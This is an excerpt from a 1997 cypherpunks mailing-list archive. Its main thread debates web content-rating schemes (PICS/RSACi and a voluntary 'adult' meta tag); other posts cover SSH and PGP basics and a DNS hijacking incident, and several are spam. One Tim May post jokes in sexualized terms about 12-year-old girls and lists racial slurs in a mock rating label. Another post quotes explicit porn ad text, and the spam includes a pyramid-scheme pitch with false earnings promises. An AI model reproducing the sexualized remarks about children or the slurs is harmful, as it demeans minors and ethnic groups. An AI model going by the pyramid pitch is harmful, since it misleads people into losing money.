> > (Nudist sites, in realspace as well as cyberspace, are a classic
> > example of
> > the difficulty of judging "appropriate for children." Some
> > jurisdicitions
> > are attempting to legislate against children being in nudist camps.
> > They
> > would even claim that children seeing adults and other children nude
> > is
> > "unambiguosly inappropriate." Others disagree. So, how would their web
> > site
> > be labeled?)
> > 
> > The notion that something is "unambiguously" inapproprate, obscene,
> > heretical, treasonous, whatever, is a flawed concept.
> > 
> > --Tim May
> > 
> > There's something wrong when I'm a felon under an increasing number of
> > laws.
> > Only one response to the key grabbers is warranted: "Death to
> > Tyrants!"
> > 
> > ---------:---------:---------:---------:---------:---------:---------:----
> > Timothy C. May              | Crypto Anarchy: encryption, digital
> > money,
> > tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,
> > zero
> > W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
> > markets,
> > Higher Power: 2^1398269     | black markets, collapse of governments.
> > "National borders aren't even speed bumps on the information
> > superhighway."
> 
> -- 
> _______________________________________________________
> James Love | Center for Study of Responsive Law
> P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
> http://www.cptech.org | love@cptech.org
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 25 Jul 1997 11:12:24 -0700 (PDT)
To: Declan McCullagh <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8E731.8A663470@cptech.org>
Message-ID: <v03102803affe9ada8a7f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:52 AM -0700 7/25/97, Declan McCullagh wrote:
>Jamie, as you know, we disagree on your approach to self-labeling.
>
>For the purposes of argument, let us say that we can agree that some,
>extreme, sites are unsuitable for children. But the problems arise not on
>the extremes, but in the great grey center.
>
>Where do you draw the line? Therein lies the rub.

I reject even the "we can agree that some, extreme, sites are unsuitable
for children" point.

If you don't want your children exposed to some material, stop them from
accessing the material.

Consider this, if the voluntary mandatory PICS/RSACi system gets deployed,
as I expect it will be (The Protection of Our Children Act of 1997, a sure
election winning issue), who will decide on what is a mislabeling?

And why should it be restricted to sexual issues?

Surely there are many good Christians (TM) who will argue that a site
devoted to "10 Reasons Jesus was a Fool" is "unambiguously inappropriate"
for their little Johnnies and Suzies.

And so on. The Net will end up recapitulating the battles which have raged
for several decades (and longer) about what materials are suitable or
unsuitable for children in school libraries.

Again, I view all of my writings, and my Lolita Recruitment Nudist Web
Page, as suitable for children of all ages, especially cute little
12-year-old girls!!!

(I'm not a perv, though, and I expect them to show some proof that they've
started to develop. In fact, I'll create a Web page devoted to how young
lolitas can prove they're developing womanhood. Obviously appropriate to
all.)

Seriously, if their parents don't want them exposed to this kind of site,
or to "sexual issues for young women," or "a boy's guide to older men," or
atheistic materials, or seditious, treasonous, Cypherpunkish materials,
then let those parents block access.

(And a "voluntary mandatory" label will not help, as folks like me will
_accurately label_ our material so as to appeal to these targets! Accurate
by our values. Here lies the real rub.)

Oh, and Declan's point that the real issues lie in the middle...well, tell
that to the Thomases, of Amateur Action. The real issues lie at the fringes.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Fri, 25 Jul 1997 11:41:12 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.GSO.3.95.970725104808.22013B-100000@well.com>
Message-ID: <33D8F403.245C04CD@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> Jamie, as you know, we disagree on your approach to self-labeling.
> 
> For the purposes of argument, let us say that we can agree that some,
> extreme, sites are unsuitable for children. But the problems arise not
> on
> the extremes, but in the great grey center.
> 
> Where do you draw the line? Therein lies the rub.
> 
> -Declan


     Thanks for asking this question.  I think it is important.  I would
have the labeling system be something that suits the publisher of the
web page.  The web page publisher would decide if he or she wanted to
label the site as adult.  There wouldn't be a great gray center, in the
sense that the author/owner of the web page would make the decision to
label or not label.  Why would anyone label?  As you know, most porn
sites already have labeling out the whazoo.  (how is this spelled?)  
The problem is that the label takes so many different forms, browsers
can't filter the current labels, and that is why we have so much
interest in cybersiter and other AI programs.  This would make their
existing voluntary labeling systems actually work.  The simpler the
tagging system, and the less information it conveys, the less likely it
could be used to create a much more grandiose content labeling system. 
This is a pragmatic proposal.  I think it makes sense.


                  Jamie  <love@cptech.org>






> 
> On Fri, 25 Jul 1997, James Love wrote:
> 
> > Tim, if you think that no web site are unambiguously inappropriate
> for
> > children, then you are in a state of denial.  However, while I don't
> > expect to change your mind on that point, let me set the record
> straight
> > on your note.  I don't favor RSACi or other PICS systems.  I think
> these
> > are a mistake, and should be resisted.  However, I do favor a far
> less
> > ambitious and less informative system (less is more, as far as I am
> > concerned), which involves a simple, single voluntary tag, selected
> by
> > the web page publisher, at their discretion, of the nature of
> >
> > <META NAME="Rating" CONTENT="adult">
> >
> > I think this is quite different from RSACi or SafeSurf's system, for
> the
> > reasons mentioned by my missive to Jonah.
> >
> >
> >    Jamie   <love@cptech.org>
> >
> >
> > Tim May wrote:
> > >
> > > At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
> > > >---------- Forwarded message ----------
> > > >Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
> > > >From: James Love <love@cptech.org>
> > > >To: Jonah Seiger <jseiger@cdt.org>
> > > >Cc: Declan McCullagh <declan@well.com>,
> > > fight-censorship@vorlon.mit.edu,
> > > >    chris_barr@cnet.com
> > > >Subject: Re: CDT, RSACi, and "public service" groups
> > > >
> > > >
> > > >Jonah, I think the problems with the RSACi rating system are
> pretty
> > > >obvious, and I also think it should be obvious that *any* rating
> > > system
> > > >that would aspire to rate all or even a significant number of web
> > > pages
> > > >would be a bad thing.  That said, it seems to me that there exist
> web
> > > >pages that are unambiguously inappropriate for children.  Has CDT
> > > rejected
> > >
> > > "Unambiguously inappropriate for children"?
> > >
> > > No such thing. I can think of many, many things which many
> consider
> > > inappropriate for children (what age?), but which others,
> including
> > > myself,
> > > consider perfectly appropriate. I see no particular need to recite
> > > examples
> > > here.
> > >
> > > Even with "obscenity," whatever that is (I seem not to know it
> when I
> > > see
> > > it, which would make me a poor Supreme Court Justice), that there
> are
> > > obscenity prosecutions and trials would seem to indicate that such
> > > materials are not "unambigously obscene."
> > >
> > > The "mandatory voluntary" PICS/RSACi ratings, with penalties
> > > (presumably)
> > > for "mislabeling," just are another form of content control.
> > >
> > > If they are truly voluntary, then people are free to say that a
> nudist
> > > site
> > > is appropriate for children, or not to label at all...the null
> label
> > > is
> > > just another label.
> > >
> > > (Nudist sites, in realspace as well as cyberspace, are a classic
> > > example of
> > > the difficulty of judging "appropriate for children." Some
> > > jurisdicitions
> > > are attempting to legislate against children being in nudist
> camps.
> > > They
> > > would even claim that children seeing adults and other children
> nude
> > > is
> > > "unambiguosly inappropriate." Others disagree. So, how would their
> web
> > > site
> > > be labeled?)
> > >
> > > The notion that something is "unambiguously" inapproprate,
> obscene,
> > > heretical, treasonous, whatever, is a flawed concept.
> > >
> > > --Tim May
> > >
> > > There's something wrong when I'm a felon under an increasing
> number of
> > > laws.
> > > Only one response to the key grabbers is warranted: "Death to
> > > Tyrants!"
> > >
> > >
> ---------:---------:---------:---------:---------:---------:---------:----
> > > Timothy C. May              | Crypto Anarchy: encryption, digital
> > > money,
> > > tcmay@got.net  408-728-0152 | anonymous networks, digital
> pseudonyms,
> > > zero
> > > W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
> > > markets,
> > > Higher Power: 2^1398269     | black markets, collapse of
> governments.
> > > "National borders aren't even speed bumps on the information
> > > superhighway."
> >
> > --
> > _______________________________________________________
> > James Love | Center for Study of Responsive Law
> > P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
> > http://www.cptech.org | love@cptech.org
> >
> >

-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Helenius <Tom.Helenius@DataFellows.com>
Date: Fri, 25 Jul 1997 08:51:01 -0700 (PDT)
To: Petri Laakkonen <Petri.Laakkonen@DataFellows.com>
Subject: Re: Data Fellows announces F-Secure SSH Tunnel&Terminal
Message-ID: <3.0.32.19970725180119.00a427b0@datafellows.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello Petri and others,

I think you haven't fallen off the tracks. We have now (very soon) SSH 1.1
clients. Instead of SSH 1.1 we call the product SSH Tunnel&Terminal. This
way we want to emphasize that SSH is a very nice tool for remote and mobile
workers.

Most of the details about SSH 1.1 you can find in the press release.

Regards,
Tom

At 01:44 AM 7/25/97 -0700, Petri Laakkonen wrote:
>Hi guys,
>
>I'm afraid of that US sales has fallen off the tracks. We need to catch up
>ASAP.
>
>
>At 07:58 PM 7/24/97 +0200, Tom Helenius wrote:
>>FOR IMMEDIATE RELEASE
>>23 July, 1997
>>
>>Data Fellows announces F-Secure SSH Tunnel&Terminal
>>
>What's this product all in all ? Has this now replaced F-Secure SSH or is
>this one additional derivative of SSH a'la ISP SSH ?

SSH 1.1 - Easy to use product for remote/mobile workers. It can do all the
same that SSH 1.0 does and it is more optimised for telecommuting.

>Are the features same as for the most recent SSH clients/servers ? HOw does
>this product differ from SSH ?
>
>Any data sheets ?

Probably we should update SSH 1.0 sheets.

>Is the software
>
>a) shipping
>b) downloadable from the web ?

Should be in a couple of weeks.

>>The remote worker can use e-mail, Internet browser, database tools and all
>>the usual applications at home, on the road or in any place with Internet
>>access. The big difference, though invisible to the remote worker, is that
>>all data communication between the server in the office and the remote user
>>is flowing through an encrypted tunnel.
>>
>Does this configure itself automatically for most popular office apps as
>discussed some time earlier, or do admins still need to do the installation
>manually for each computer or count on users doing this themselves ?

You still need some knowledge to make the initial configuration. After that
it is very easy. I don't know about the automatic deployment tool.

>>F-Secure SSH Tunnel&Terminal provides strong encryption of data and thus
>>sets a new standard for secure remote working. Existing solutions like
>>Cisco Systems L2F, IETF L2TP and firewalls don't provide strong encryption
>>and authentication, which makes these solutions insecure against
>>eavesdropping and IP spoofing attacks. In addition to encrypted tunnels, 
>>F-Secure Tunnel&Terminal also provides secure terminal connections to UNIX
>>hosts and secures UNIX X11 applications.
>>
>What would be F-Secure Tunnel's added value over MS pptp ?

MS PPTP does not provide strong crypto. With the SSH tunnels we are almost
directly competing against PPTP. Of course PPTP is not available for win3.x
and Mac. I'm preparing some info about PPTP, at least for our partners. The
problem is I'm not sure what to say and how.

>>The automatic deployment tool enables straightforward company-wide
>>installation and updates.
>>
>Interesting. Tell us more about this ?

This is very interesting. I have to admit I don't know what this really
means. Let's find out on Monday.

>>
>>
>>F-Secure SSH Tunnel&Terminal is available for win3.1, win95, winNT and UNIX
>>operating systems worldwide in the end of July, 1997.
>>
>How about our friends from Cupertino (e.g. Apple) ?

This seems to be an error. We are doing the Mac also. Sorry.

>Thanks for the additional info in advance,
>
>Petri
>
>--------------------------------------------------------------------
>Petri.Laakkonen@DataFellows.com, World Wide Web: http://www.DataFellows.com
>
>Data Fellows U.S headquarters has moved ! Our new contacts as of March
>24th, 1997 are:
>
>Data Fellows 
>675 N. First Street, Suite 605
>San Jose, CA 95112
>phone (408) 938-6700, fax (408) 938-6701
>
>********************************************************************* 
>* 				F-Secure              		      *
>*            Award-winning Security for Peace of Mind               *
>*               from the Desktop to the Internet                    *
>*									      *	
>*	 	http://www.DataFellows.com/                           *
>********************************************************************
>
--
Tom.Helenius@DataFellows.com, World-Wide Web http://www.DataFellows.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goy@aol.com (INFOREVOLUTION)
Date: Fri, 25 Jul 1997 22:36:44 -0700 (PDT)
To: allgood@people.com
Subject: "Find The Dirt On The Internet!"
Message-ID: <199707263004WAA43361@america.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sat, 26 Jul 1997 02:47:18 -0700 (PDT)
To: friendofthenet@Friendly-Domain.org
Subject: Send Your Message to 50 Million---at "INSANE SPEED" !!
Message-ID: <742590688053BBD2344@XdX24d9067u5.com>
MIME-Version: 1.0
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tidaore@aol.com (INFOREVOLUTION)
Date: Sat, 26 Jul 1997 05:59:15 -0700 (PDT)
To: allgood@people.com
Subject: "Find The Dirt On The Internet!"
Message-ID: <199707262159PAA54928@america.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: megamoneymakers@mail-response.com
Date: Sat, 26 Jul 1997 07:10:36 -0700 (PDT)
To: megamoneymakers@mail-response.com
Subject: Free Money Making Software!
Message-ID: <199707261712.NAA16649@plant.mail-response.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 27 Jul 1997 11:02:07 -0700 (PDT)
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8E731.8A663470@cptech.org>
Message-ID: <Pine.LNX.3.91.970726180542.4363C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Tim, if you think that no web site are unambiguously inappropriate for
> children, then you are in a state of denial. 

Please clarrify this for us: What sites would you classify as unsuitable 
for children? What would you define as being a child? What justification 
do you give for supposing certain material to be unsuitable for viewing 
by a certain class of people?

> are a mistake, and should be resisted.  However, I do favor a far less
> ambitious and less informative system (less is more, as far as I am
> concerned), which involves a simple, single voluntary tag, selected by
> the web page publisher, at their discretion, of the nature of 
> 
> <META NAME="Rating" CONTENT="adult">

Would your vision of this be a mandatory system, or totally voluntary? 
Would clearly rating a site incorrectly be punishable in any way?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mf@mediafilter.org (MediaFilter)
Date: Sun, 27 Jul 1997 01:42:46 -0700 (PDT)
To: (Recipient list suppressed)
Subject: Re: Netzwelt: Geiselnahme im Netz (article in DER SPIEGEL)
Message-ID: <1342145713-807839@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


[...]
>          Mit so negativen Reaktionen hatte Kashpureff nicht
>          gerechnet. Noch vor einer Woche behauptete er
>          gegen¸ber Wired News selbstbewuþt: "Wenn Network
>          Solutions mir an den Kragen geht, dann werde ich ein
>          gr-þerer M"rtyrer als Phil Zimmermann" -- jener
>          inzwischen weltweit bekannte B¸rgerrechtler, den die
>          US-Regierung erfolglos wegen der Verbreitung seiner
>          Verschl¸sselungssoftware PGP verfolgt hatte.
>          Angesichts des Imageproblems, das Network Solutions im
>          Netz hat, war die Zuversicht des Dom"nenguerilleros
>          gar nicht so abwegig. Doch trotz dieser alten
>          Animosit"ten stiftete Kashpureffs Aktionismus
>          ausnahmsweise einmal Konsens in der Welt der
>          Internetverwalter: So geht es nicht.

http://www.spiegel.de/netzwelt/themen/kashpureff.html
[...]

...Kashpureff didn't expect such a negative reaction.
"When Network Solutions cuts my throat, then I will become
a gurella martyr like Phil Zimmerman (of PGP fame)"
he proclaimed to Wired news....
[...]

Give me a break!  this is like some bad tv movie.
Kashpureff, the self-styled martyr in hiding from the feds
as they move in to seize his computers after he hijacked
traffic from Nework Solutions' website to his own
(in a desperate attempt to log some hits?). If this is supposed
to be some profound statement, I think the message is lost
in the idiocy of it all.

As I stated in a previous posting, I denounce this type of traffic hijacking
as irresponsible practice and as a negative reflection on other independents
who are working to open up the address space on the net in the interests
of the public.

If Kashpureff would like to participate in the evolution of the net,
he should not jeopardize its stability of for the sake of personal vanity.

This type of drama and diversion are totally unnecessary, and obscures
the focus on the real issues at hand in the whole namespace debate.
One major factor of the issue is being settled in the name.space/pgMedia
anti trust action against NSI...Kashpureff and others could potentially benefit
from the outcome of that action if they conduct themselves in a mature and
responsible manner.  The next step in the implementation of the expanded
namespace demands responsible practice if we are to avoid government
regulation and corporate beauracracy and let the system evolve and regulate
itself naturally.

Judging by this recent bahavior though, it appears that some can't deal
with it all now, that it's beginning to get too real.
The games and posturing are over.  It's time to finally put up or shut up.

...In my opinion, that is...


Paul Garrin
name.space
http://name.space
http://namespace.xs2.net






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OIL.PATCH.MARKETING@08746.com
Date: Mon, 28 Jul 1997 12:34:44 -0700 (PDT)
To: lookat@worldtel.net
Subject: BULK EMAIL LIST GETS RESULTS QUICKLY TRY IT
Message-ID: < 9435Ecc7672@worldtel.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Mon, 28 Jul 1997 07:02:03 -0700 (PDT)
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.LNX.3.91.970726180542.4363C-100000@fatmans.demon.co.uk>
Message-ID: <33DCA6FE.32CB0327@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:
> 
> > Tim, if you think that no web site are unambiguously inappropriate
> for
> > children, then you are in a state of denial.
> 
> Please clarrify this for us: What sites would you classify as
> unsuitable
> for children? 


Let me you way out on a limb, and suggest the following entries, from an
infoseek search for the workd PICS, would be unabiguously inappropriate
for children.

--------------------------------

Pissing, Fisting and beastiality! We go to great lengths to bring you
the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
Watch! Unfortunately, We can't bring you everything!
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gangbang action!!! 100% GUARANTEED free xrated pics Action!

55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)

-------------------------------------------------


> What would you define as being a child? 
> What
> justification
> do you give for supposing certain material to be unsuitable for
> viewing
> by a certain class of people?


    I don't think I need much justification to suggest that "the
ultimate in anal, double anal, double penetration, sloppy oral, and
gangbang action" is unsuitable for viewing by "a certain class of
people," --- namely children.  Do you seriously dispute this?  If so,
there isn't much point in debating this.  


> 
> > are a mistake, and should be resisted.  However, I do favor a far
> less
> > ambitious and less informative system (less is more, as far as I am
> > concerned), which involves a simple, single voluntary tag, selected
> by
> > the web page publisher, at their discretion, of the nature of
> >
> > <META NAME="Rating" CONTENT="adult">
> 
> Would your vision of this be a mandatory system, or totally voluntary?
> Would clearly rating a site incorrectly be punishable in any way?


         What I suggested was a system where you either label it adult,
or you don't label it at all.  I certainly wouldn't think anyone would
get punished for labeling a site adult if it was suitable for children. 
As for a failure to label for adult content, I think the consequences
should be pretty obvious.  You have community and church groups pissed
off.  You have law enforcement officials from various countries pissed
off.  You have parents pissed off.  You have legislators pissed off. 
That's what is going on now.  Why one would want to encourage this is
beyond me.  Maybe fighting for the right to show  the "ultimate in anal,
double anal, double penetration" to children has redeeming value that I
don't appreciate.  

      There are lots of government and non-government sanctions that
could come into play for those who don't take reasonable steps to make
it easier to censor some content for children.  This is just the way the
world is.  It's like a state of nature.  It's human nature.  It is
undoubtely the majority view.  Even if one completely disagreed with the
idea of censoring "gangbang action" for children, you might find it a
good strategy, in order to avoid worse outcomes, such RSACi, Safesurf or
other PICS type rating systems.

     But if you think it is really important to fight for the rights of
9 year olds to see such materials in schools and libraries (where a lot
of the battles are being fought today), then go right ahead.  Good
luck.  

      Jamie

_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Mon, 28 Jul 1997 16:36:07 -0700 (PDT)
To: Chris Avery <cavery@ccnet.com>
Subject: Re: Queries from a Cyper-newbie?
In-Reply-To: <01BC9B6D.6CC7B860@h97-172.ccnet.com>
Message-ID: <3.0.2.32.19970728193553.007df490@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 03:45 PM 7/28/97 -0700, you wrote:
>Anybody willing to offer a bit of help to a cypher-newbie?  I'm 
trying to sort out a few of the basics:

Well as long as you ask like that instead of what most newbies do, 
such as try and subscribe by sending "Add me to the mailing list" to 
the list.

>1. PGP 5.0 -- good software?

It's better integrated for Mac Lusers and Windows 95ers.  It is, 
however, flawed in some respects.

>If not, what problems?  Why to use DSS vs/ RSA keys?  How is 5.0 
different than 2.6.3i ?  Which is better?

2.6.3i cannot use CAST, or (who would want to , it's DES!) Triple-
DES.  It does however, can use other hashes with RSA, thanks to 
someone's discovery on PGP-USERS.  2.6.3i is dos native, and complex. 
 A shell integrates nicely, but it's still not the same.

>2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i 
(and vice versa?)  Using RSA keys? 

ONLY using RSA keys.  DSS/Diffie-Hellman support is being added to 
old PGP's.  RSAREF is used in PGP 5.0 .  MPILIB, Phil Zimmermann's 
original PGP RSA algorithm implementation is used in international 
versions.  It's becuase of RSA's patent stuff.

>3. I understand certain encryption s/w cannot be legally exported, I 
am aware that such s/w is nevertheless being used (and built) abroad. 
 My queries:  Is purely domestic use being threatened by the pending 
legislation?  Is it already illegal to send an encrypted msg out of 
the US? If so, is it illegal to receive an encrypted msg from outside 
the US?

Unless it is the "shitty 40 bit" type.  It can be built abroad, for 
example, IDEA was made in switzerland, or something like that..., PGP 
2.6.3i was made legally, I think.  Domestic use is being threatened 
by Nazi Motherfuckers like Billy-Bob Clinton [spit], The FBI, and the 
NSA.  Oppose them.  Go to www.crypto.com and do some of the stuff 
there.  Sending and recieving mail from the outside of the US *is 
legal*.

>4. How strong is strong?  My MS Explorer has the 128 bit encryption 
scheme to secure domestic financial transactions (such as credit 
cards). How "un-encryptable" is this? I read some recent postings 
here re difficulty of breaking 128 bit keys -- but this had reference 
to stronger methods of encryption than MS Explorer uses, right? So 
128 bits is hard to break (umptyump years, terrawatts, etc.)? Then 
why does my PGP 5.0 software offer keys that are 768, 1024, etc. up 
to 4096 bits in length? Are these numbers on the same scale? 

Unencryptable?  What the fuck are you talking about?  If you mean 
crackable, let's just say it'd take several time the age of the 
Universe to crack it.  The RSA keys are weaker than symmetric 
cyphers, unless we're talking about DSS/Diffie-Hellman keys with 
4096bits.  They are not on the same scale.

>Any "strength" differences between RSA, DSS, and Diffie-Hellman? IS 
there some layman-understandable difference between these? 

Well, RSA's are patented and RSA is really anal with their patents.  
DSS/Diffie-Hellman keys are unpatented.  You can change hashes on RSA 
keys (RIPEM160, MD5 [was broken already], and SHA-1).  But to use 
those RSA's with older PGP's, use only MD5.

>5. Is international data traffic somehow monitored (or monitorable) 
to detect encrypted traffic?

It can be detected that you're using encryption.  Breaking PGP is 
another thing.

If any other cypherpunks want to correct me here, do so.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9065B0+FhmmTrSJAQEdsgQAmRAJR7CxQCy4Wfny8YM6oJ3chLKnJCnA
E45EElRsAVS8zyAWy06/ZJFG8XjInjgAzmx+fRvGoN0qHvObyFfrDMPML0w+405s
cddgcApc0DfbjP8narKHVBQnbOhwuSjdDbwTbFF9F+EG0OkXewgYKXS/QnS11ov/
ofr4ooPGcr0=
=rowH
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: emailblaster@mail-response.com
Date: Mon, 28 Jul 1997 22:47:19 -0700 (PDT)
Subject: Complete Bulk Email Pkg only $49.95
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*************************************************************************************************
If you would like to pay by check, please make check payable to: Internet Marketing
mail to: PO Box 276 Bellmawr, NJ 08099 or  Fax to 1-609-933-1499 along with this order form.
If you are paying with a Fax Check please include an additional $3.00 for check processing fees.

Credit Card: _______________________________________________
Visa, Master Card and AMEX.

EXP. Date: _____________________


Total to be charged: $________________________



Signature:___________________________________________________________

















   3024




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: editors@commonwealthpub.com
Date: Sat, 2 Aug 1997 17:26:25 -0700 (PDT)
To: writers@world
Subject: Re: Authors Wanted
Message-ID: <199707291955.NAA10805@mail.commonwealthpub.com>
MIME-Version: 1.0
Content-Type: text/plain


Authors Wanted

North American publisher requires book length manuscripts in
all genres for possible publication. Translation services
available.

Reply with outline or synopsis to:
Commonwealth Publications,
email: editors@commonwealthpub.com
fax: (403)-432-9409

Visit our website at http://www.commonwealthpub.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freesoftware@worldnet.att.net
Date: Tue, 29 Jul 1997 12:40:59 -0700 (PDT)
To: Friend@public.com
Subject: Free software available online.
Message-ID: <19970729184725.AMU13842@mailhost.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain


This is a one time mailing, you are not on a mailing list and will not be contacted again.
-----------------------------------------------------------------------
W E L C O M E

                                     T O

                         " Your Future "

                                     by

                                 Ruben Garcia
To get a "FREE" copy of this amazing software just reply to this email with SEND IT as your subject line.

This is the same chance someone gave me and I was lucky enough to take a serious look at this software and it has been 
one of the best moves I have ever made! I hope you too will realize that opportuntities like this are rare and that you dont let
 it slip through your fingers like many people do (remember there are those that say, and those that do. Which are you?)

    You are being introduced to the most profitable and unique Money Making Computer Program ever created for the IBM PC 
and compatibles.This software has demonstrated and proven ability to generate large sums of money.  This program is 
showing fantastic appeal  with a huge and ever growing population  from all over the world  which needs  additional income 
working from home with a personal computer.
  Making money in MLM is what many people strive for, but making LOTS of money in MLM is what people really want and
 they want it FAST !.
This system is the perfect vehicle to achieve this.  This program will work for you if you carefully follow the instructions and
 apply these next four points:

1.  INSIGHT: It is necessary  to see  the great  possibilities  that this marketing program contains. Read it several times, then 
later read it again !. Calculate the numbers for yourself; you will see the amazing
results that can be obtained.

2.  INVESTMENT: Not in anyone else,  but in yourself.  Every endeavor which produces a profit requires some degree of
 investment, be it time, money,resources, etc.  For the  potential  gain  that can  come to you,  this investment is quite
 insignificant.

3.  APPLICATION: There is no such thing as a "FREE LUNCH".Even this opportunity requires some effort and time. Every
 successful venture does.

4.  PATIENCE: After you have accomplished  the steps described,  the program requires a little time before showing a good
 response. As it enters from the  1st to the  5th level of distribution, there is a time element that to some could be a bit 
aggravating  without giving proper thought to how the program works,  and it does work !.  You must allow a few weeks so 
be patient !.  "ALL GOOD THINGS COME TO THOSE WHO WAIT!".
This  is  a  LEGITIMATE, LEGAL and tremendous money-making opportunity.

    It does not require you  to come in contact  with people, do any  heavy work, and best of all, you never have to leave your
 home, except to get the mail.

    If you believe that some day you will get that lucky break that you have been waiting for,  hoping to make it big in 
Electronic Commerce with MLM and the Internet, THIS IS IT !. Simply follow the easy instructions, and your dreams will come
 true !.

    This  Computer Program runs under DOS or Windows. It is the electronic version  of the  most simple and profitable 
Multilevel Marketing system ever devised and works perfectly 100% EVERY TIME !.

    You can use this program to raise capital to start another business,pay off debts,  buy homes,  cars, etc., even RETIRE !.  
This is your chance, so don't pass it up. FOLLOW THE INSTRUCTIONS EXACTLY, and in just a few weeks you will have 
received upwards of $ 500,000.

    Let's face it, the profits are worth it !,  THEY'RE TREMENDOUS !!!. So go for it. Remember the 4 points and we'll see you 
at the top !.

    Everyone involved in the program  makes money
for everyone else in the program. If anyone makes money, everyone makes money.  This is a POWERFUL way to leverage 
your time,  money and effort 10,000% or more....  So  don't  underestimate the  AMAZING power of this system to put lots of 
$$$ cash $$$ in your pocket fast...

    The PRODUCT in this business is a series of six Info-Reports on the following topics:

   Report # 1: " UNDERSTANDING THE REAL POWER OF MLM "
   Report # 2: " EVERYTHING YOU NEED TO KNOW ABOUT THE    INTERNET "
   Report # 3: " MARKETING YOUR BUSINESS ON-LINE "
   Report # 4: " SECRETS OF THE RICHEST PEOPLE IN THE WORLD "
   Report # 5: " THE TRUTH ABOUT DOWNLINE BUILDING CLUBS "
   Report # 6: " THE GUIDE TO YOUR SYSTEM "

    The information contained in these reports  will not only help you in making your participation in this business more
 rewarding but will be useful to you in other business decisions you make in the years ahead.

    In any  MULTILEVEL MARKETING BUSINESS,  we have  a method  of raising CAPITAL that works 100% every time !.  
We are sure that you could see $ 50,000 to $ 500,000 in the next few weeks. Before you say, "NO WAY",please study this
 program carefully.

    THIS IS NOT A CHAIN LETTER OR A PYRAMID SCHEME, but a legal money making opportunity.  Basically,  this  is  
